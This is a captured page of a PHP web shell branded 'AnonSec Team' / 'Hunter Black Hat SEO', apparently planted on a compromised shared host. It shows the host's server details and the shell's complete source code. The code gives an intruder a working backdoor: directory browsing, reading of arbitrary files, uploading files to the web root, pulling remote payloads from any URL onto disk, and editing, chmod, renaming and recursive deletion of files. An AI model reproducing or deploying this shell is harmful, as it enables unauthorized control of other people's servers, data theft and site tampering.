AnonSec Team
Server IP : 198.54.120.203  /  Your IP : 216.73.216.2
Web Server : LiteSpeed
System : Linux premium58.web-hosting.com 4.18.0-553.58.1.lve.el8.x86_64 #1 SMP Fri Jul 4 12:07:06 UTC 2025 x86_64
User : greakqsw ( 1698)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0700) :  /dev/../var/tmp/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //dev/../var/tmp/339b96f0e10466acfc2f30ccffa5d763.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Ok</title>
<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;500&display=swap" rel="stylesheet">
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{font-family:'JetBrains Mono',monospace;background:#0d1117;color:#c9d1d9;line-height:1.6;font-size:14px;min-height:100vh;padding:20px}
.container{max-width:1000px;margin:0 auto}
.header{background:#161b22;border:1px solid #21262d;border-radius:6px;padding:16px;margin-bottom:16px}
.title{font-size:18px;font-weight:500;color:#58a6ff;margin-bottom:12px}
.system-info{display:grid;grid-template-columns:repeat(auto-fit,minmax(250px,1fr));gap:8px;font-size:12px}
.info-line{padding:4px 0}
.info-label{color:#7d8590;display:inline-block;width:120px}
.info-value{color:#f0883e}
.breadcrumb{background:#0d1117;border:1px solid #21262d;border-radius:6px;padding:12px;margin-bottom:16px;font-size:13px}
.breadcrumb a{color:#58a6ff;text-decoration:none}
.breadcrumb a:hover{text-decoration:underline}
.upload-section{background:#161b22;border:1px solid #21262d;border-radius:6px;padding:16px;margin-bottom:16px}
.section-title{font-size:14px;font-weight:500;color:#f0f6fc;margin-bottom:12px}
.form-row{margin-bottom:12px}
.radio-group{display:flex;gap:20px;margin-bottom:12px}
.radio-item{display:flex;align-items:center;gap:6px;font-size:13px}
input[type="file"],input[type="text"],select,textarea{background:#0d1117;border:1px solid #21262d;border-radius:6px;color:#c9d1d9;padding:8px 12px;font-family:inherit;font-size:13px}
input[type="file"]:focus,input[type="text"]:focus,select:focus,textarea:focus{outline:none;border-color:#58a6ff}
.btn{background:#21262d;border:1px solid #30363d;border-radius:6px;color:#f0f6fc;padding:6px 12px;font-family:inherit;font-size:13px;cursor:pointer;transition:all .2s}
.btn:hover{background:#30363d;border-color:#8b949e}
.btn-primary{background:#238636;border-color:#238636}
.btn-primary:hover{background:#2ea043}
.btn-danger{background:#da3633;border-color:#da3633}
.btn-danger:hover{background:#f85149}
.upload-row{display:flex;gap:8px;align-items:end}
.upload-row input[type="file"],.upload-row input[type="text"]{flex:1}
.upload-row input[type="text"]:last-of-type{max-width:150px}
.message{padding:12px;border-radius:6px;margin:12px 0;font-size:13px}
.message-success{background:rgba(35,134,54,.15);border:1px solid #238636;color:#56d364}
.message-error{background:rgba(218,54,51,.15);border:1px solid #da3633;color:#f85149}
.file-table{background:#0d1117;border:1px solid #21262d;border-radius:6px;overflow:hidden;margin-bottom:20px}
table{width:100%;border-collapse:collapse}
th{background:#161b22;padding:12px;text-align:left;font-weight:500;font-size:13px;color:#f0f6fc;border-bottom:1px solid #21262d}
td{padding:8px 12px;border-bottom:1px solid #21262d;font-size:13px}
tr:hover{background:#161b22}
.file-link{color:#c9d1d9;text-decoration:none}
.file-link:hover{color:#58a6ff}
.dir-link{color:#58a6ff}
.size{color:#7d8590;text-align:right}
.permissions{font-family:'JetBrains Mono',monospace;font-size:12px;color:#7d8590}
.writable{color:#56d364}
.readonly{color:#f85149}
.action-form{display:flex;gap:4px;align-items:center}
.action-form select{font-size:12px;padding:4px 8px;min-width:80px}
.action-form .btn{padding:4px 8px;font-size:12px}
.edit-form{background:#161b22;border:1px solid #21262d;border-radius:6px;padding:16px;margin:16px 0}
.edit-form textarea{width:100%;min-height:400px;resize:vertical}
.edit-form .form-row{margin-top:12px}
.file-preview{background:#0d1117;border:1px solid #21262d;border-radius:6px;padding:16px;margin:16px 0}
.file-preview pre{background:#161b22;border:1px solid #21262d;border-radius:6px;padding:16px;overflow-x:auto;font-size:12px;line-height:1.45}
.footer{text-align:center;margin-top:40px;padding:20px}
.telegram-link{display:inline-flex;align-items:center;gap:8px;background:#0088cc;color:white;text-decoration:none;padding:10px 20px;border-radius:6px;font-size:14px;font-weight:500;transition:background .2s}
.telegram-link:hover{background:#0099dd}
@media(max-width:768px){
.container{padding:10px}
.system-info{grid-template-columns:1fr}
.upload-row{flex-direction:column}
.upload-row input[type="text"]:last-of-type{max-width:none}
table{font-size:12px}
th,td{padding:6px 8px}
}
</style>
</head>
<body>
<div class="container">
<div class="header">
<div class="title">Hunter Black Hat SEO</div>
<?php
set_time_limit(0);
error_reporting(0);

$disfunc=@ini_get("disable_functions");
$disf=empty($disfunc)?"<span class='writable'>NONE</span>":"<span class='readonly'>".$disfunc."</span>";

function author(){
echo '<div class="footer"><a href="https://t.me/neel_info" class="telegram-link" target="_blank"><span>@</span><span>Telegram</span></a></div>';exit();
}
function cekdir(){
$lokasi=isset($_GET['path'])?$_GET['path']:getcwd();
return is_writable($lokasi)?"<span class='writable'>writable</span>":"<span class='readonly'>readonly</span>";
}
function cekroot(){
return is_writable($_SERVER['DOCUMENT_ROOT'])?"<span class='writable'>writable</span>":"<span class='readonly'>readonly</span>";
}
function xrmdir($dir){$items=scandir($dir);foreach($items as $i){if($i=='.'||$i=='..')continue;$path=$dir.'/'.$i;if(is_dir($path))xrmdir($path);else unlink($path);}rmdir($dir);}
function green($t){echo"<div class='message message-success'>$t</div>";}
function red($t){echo"<div class='message message-error'>$t</div>";}
?>
<div class="system-info">
<div class="info-line"><span class="info-label">Server:</span><span class="info-value"><?php echo $_SERVER['SERVER_SOFTWARE'];?></span></div>
<div class="info-line"><span class="info-label">System:</span><span class="info-value"><?php echo php_uname();?></span></div>
<div class="info-line"><span class="info-label">User:</span><span class="info-value"><?php echo @get_current_user()." (".@getmyuid().")";?></span></div>
<div class="info-line"><span class="info-label">PHP:</span><span class="info-value"><?php echo @phpversion();?></span></div>
<div class="info-line" style="grid-column:1/-1;"><span class="info-label">Disabled:</span><span class="info-value"><?php echo $disf;?></span></div>
</div></div>

<div class="breadcrumb">
<?php
foreach($_POST as $k=>$v){$_POST[$k]=stripslashes($v);}
$lokasi=isset($_GET['path'])?$_GET['path']:getcwd();
$lokasi=str_replace('\\','/',$lokasi);
$lokasis=explode('/',$lokasi);
$lokasinya=@scandir($lokasi);
echo "$ pwd: ";
foreach($lokasis as $id=>$lok){
if($lok==''&&$id==0){echo'<a href="?path=/">/</a>';continue;}
if($lok=='')continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){echo"$lokasis[$i]";if($i!=$id)echo"/";}
echo'">'.$lok.'</a>/';
}
?>
</div>

<div class="upload-section">
<div class="section-title">Upload Files</div>
<?php
if(isset($_POST['upwkwk'])){
if(isset($_POST['berkasnya'])){
if($_POST['dirnya']=="2"){$lokasi=$_SERVER['DOCUMENT_ROOT'];}
if(!empty($_FILES['berkas']['name'][0])){
$uploaded=0;$failed=0;
foreach($_FILES['berkas']['name']as$key=>$name){
$tmp=$_FILES['berkas']['tmp_name'][$key];
$target=$lokasi."/".basename($name);
if(@move_uploaded_file($tmp,$target)){$uploaded++;}else{$failed++;}
}
if($uploaded>0)green("Uploaded $uploaded file(s) to: $lokasi");
if($failed>0)red("Failed to upload $failed file(s)");
}else{red("No file selected.");}
}elseif(isset($_POST['linknya'])){
if(empty($_POST['namalink'])){red("Filename cannot be empty");}
else{
if($_POST['dirnya']=="2"){$lokasi=$_SERVER['DOCUMENT_ROOT'];}
$data=@file_put_contents($lokasi."/".$_POST['namalink'],@file_get_contents($_POST['darilink']));
if(file_exists($lokasi."/".$_POST['namalink']))green("File fetched: ".$lokasi."/".$_POST['namalink']);else red("Fetch failed");
}}}
?>
<form enctype="multipart/form-data" method="post">
<div class="form-row">
<div class="radio-group">
<label class="radio-item"><input type="radio" value="1" name="dirnya" checked><span>current [<?php echo cekdir();?>]</span></label>
<label class="radio-item"><input type="radio" value="2" name="dirnya"><span>docroot [<?php echo cekroot();?>]</span></label>
</div></div>
<input type="hidden" name="upwkwk" value="aplod">
<div class="form-row"><div class="upload-row">
<input type="file" name="berkas[]" multiple>
<button type="submit" name="berkasnya" class="btn btn-primary">Upload</button>
</div></div>
<div class="form-row"><div class="upload-row">
<input type="text" name="darilink" placeholder="https://example.com/file.txt">
<input type="text" name="namalink" placeholder="filename">
<button type="submit" name="linknya" class="btn btn-primary">Fetch</button>
</div></div>
</form></div>

<?php
if(isset($_GET['fileloc'])){
echo"<div class='file-preview'><div class='section-title'>File: ".$_GET['fileloc']."</div><pre>".htmlspecialchars(file_get_contents($_GET['fileloc']))."</pre></div>";author();
}elseif(isset($_GET['pilihan'])&&$_POST['pilih']=="hapus"){
if(is_dir($_POST['path'])){xrmdir($_POST['path']);file_exists($_POST['path'])?red("Failed to delete dir"):green("Directory deleted");}
elseif(is_file($_POST['path'])){@unlink($_POST['path']);file_exists($_POST['path'])?red("Failed to delete file"):green("File deleted");}
}elseif(isset($_GET['pilihan'])&&$_POST['pilih']=="ubahmod"){
echo"<div class='edit-form'><div class='section-title'>chmod ".$_POST['path']."</div>";
echo'<form method="post"><div class="form-row">
<input name="perm" type="text" size="4" value="'.substr(sprintf("%o",fileperms($_POST['path'])),-4).'" placeholder="0644"/>
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="pilih" value="ubahmod">
<button type="submit" name="chm0d" class="btn btn-primary">Apply</button>
</div></form>';
if(isset($_POST['chm0d'])){
$perm=octdec($_POST['perm']);
$cm=@chmod($_POST['path'],$perm);
$cm?green("Permission changed"):red("Permission change failed");
}
echo"</div>";
}elseif(isset($_GET['pilihan'])&&$_POST['pilih']=="gantinama"){
if(isset($_POST['gantin'])){
$ren=@rename($_POST['path'],$_POST['newname']);
$ren?green("Renamed successfully"):red("Rename failed");
}
$namaawal=basename($_POST['path']);
echo"<div class='edit-form'><div class='section-title'>mv ".$_POST['path']."</div>";
echo'<form method="post"><div class="form-row">
<input name="newname" type="text" value="'.$namaawal.'" placeholder="new name"/>
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="pilih" value="gantinama">
<button type="submit" name="gantin" class="btn btn-primary">Rename</button>
</div></form></div>';
}elseif(isset($_GET['pilihan'])&&$_POST['pilih']=="edit"){
if(isset($_POST['gasedit'])){
$edit=@file_put_contents($_POST['path'],$_POST['src']);
$edit?green("File saved"):red("Save failed");
}
echo"<div class='edit-form'><div class='section-title'>nano ".$_POST['path']."</div>";
echo'<form method="post"><textarea name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea>
<div class="form-row"><input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="pilih" value="edit">
<button type="submit" name="gasedit" class="btn btn-primary">Save</button></div></form></div>';
}
?>
<div class="file-table"><table><thead><tr><th>Name</th><th style="width:80px;">Size</th><th style="width:100px;">Permissions</th><th style="width:120px;">Actions</th></tr></thead><tbody>
<?php
foreach($lokasinya as $dir){
if(!is_dir($lokasi."/".$dir)||$dir=='.'||$dir=='..')continue;
echo"<tr><td><a href='?path=$lokasi/$dir' class='file-link dir-link'>$dir</a></td><td class='size'>--</td><td class='permissions ".(is_writable($lokasi."/".$dir)?'writable':'readonly')."'>".statusnya($lokasi."/".$dir)."</td>
<td><form method='POST' action='?pilihan&path=$lokasi' class='action-form'><select name='pilih'><option value=''>--</option><option value='hapus'>rm</option><option value='ubahmod'>chmod</option><option value='gantinama'>mv</option></select>
<input type='hidden' name='type' value='dir'><input type='hidden' name='path' value='$lokasi/$dir'><button type='submit' class='btn'>go</button></form></td></tr>";
}
foreach($lokasinya as $file){
if(!is_file("$lokasi/$file"))continue;
$size=filesize("$lokasi/$file")/1024;$size=round($size,3);$size=$size>=1024?round($size/1024,2).'M':$size.'K';
echo"<tr><td><a href='?fileloc=$lokasi/$file&path=$lokasi' class='file-link'>$file</a></td><td class='size'>$size</td>
<td class='permissions ".(is_writable("$lokasi/$file")?'writable':'readonly')."'>".statusnya("$lokasi/$file")."</td>
<td><form method='post' action='?pilihan&path=$lokasi' class='action-form'><select name='pilih'><option value=''>--</option><option value='hapus'>rm</option><option value='ubahmod'>chmod</option><option value='gantinama'>mv</option><option value='edit'>nano</option></select>
<input type='hidden' name='type' value='file'><input type='hidden' name='path' value='$lokasi/$file'><button type='submit' class='btn'>go</button></form></td></tr>";
}
?>
</tbody></table></div>
<?php
author();
function statusnya($f){
$p=fileperms($f);
$type=($p&0x4000)?'d':(($p&0x8000)?'-':'?');
$perm='';
$map=['r'=>0x0100,'w'=>0x0080,'x'=>0x0040];
$perm.=(($p&$map['r'])?'r':'-').(($p&$map['w'])?'w':'-').(($p&$map['x'])?'x':'-');
$perm.=(($p&0x0020)?'r':'-').(($p&0x0010)?'w':'-').(($p&0x0008)?'x':'-');
$perm.=(($p&0x0004)?'r':'-').(($p&0x0002)?'w':'-').(($p&0x0001)?'x':'-');
return $type.$perm;
}
?>
</div></body></html>

AnonSec - 2021